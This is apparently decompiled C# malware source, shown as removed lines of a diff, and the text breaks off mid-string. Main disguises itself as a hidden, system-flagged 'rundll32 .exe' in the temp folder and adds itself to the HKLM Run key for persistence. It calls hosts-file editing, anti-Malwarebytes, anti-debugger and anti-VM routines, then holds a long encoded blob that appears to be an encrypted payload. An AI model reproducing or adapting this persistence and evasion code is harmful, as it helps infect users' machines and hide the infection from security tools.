-using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class pizde -{ - private static string iohouh7877 = "hhhhhhhhhheeeee"; - private static string HostEditing = "%28%"; - private static string antis = "%29%"; - private static string stuff = "%something%"; - private static object Devices; - private static string Grafikadapter; - private static string RegionA = "SELECT * FROM Win32_VideoController"; - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string processName = Process.GetCurrentProcess().ProcessName; -label_2: - num3 = 3; - Process.GetProcessesByName(processName); -label_3: - num3 = 4; - if (Operators.CompareString(pizde.iohouh7877, "hhhhhhhhhheeeee", false) != 0) - goto label_11; -label_4: - num3 = 5; - object tempPath1 = (object) Path.GetTempPath(); -label_5: - num3 = 6; - object executablePath = (object) Application.ExecutablePath; -label_6: - num3 = 7; - object fullPath = (object) Path.GetFullPath(Conversions.ToString(executablePath)); -label_7: - num3 = 8; - FileAttributes fileAttributes1 = FileAttributes.Hidden | FileAttributes.System; -label_8: - num3 = 9; - MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("rundll32", Operators.ConcatenateObject(tempPath1, (object) "rundll32 .exe")); -label_9: - num3 = 10; - FileSystem.FileCopy(Conversions.ToString(fullPath), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe"))); -label_10: - num3 = 11; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")), fileAttributes1); -label_11: - num3 = 13; - if (Operators.CompareString(pizde.HostEditing, "hhhhhhhhhheeeee", false) != 0) - goto label_13; -label_12: - num3 = 14; - pizde.HostEdit(); - goto label_14; -label_13: - num3 = 16; -label_14: - num3 = 18; - pizde.AntiMalwarebytes(); -label_15: - num3 = 19; - pizde.AntiOllydbg(); -label_16: - num3 = 20; - pizde.AntiWireshark(); -label_17: - num3 = 21; - pizde.AntiVirtualBox(); -label_18: - num3 = 22; - pizde.AntiVirtualPC(); -label_19: - num3 = 23; - pizde.AntiVmWare(); -label_20: - num3 = 24; - pizde.IsDebuggerPresent(); -label_21: - num3 = 25; - string s1 = "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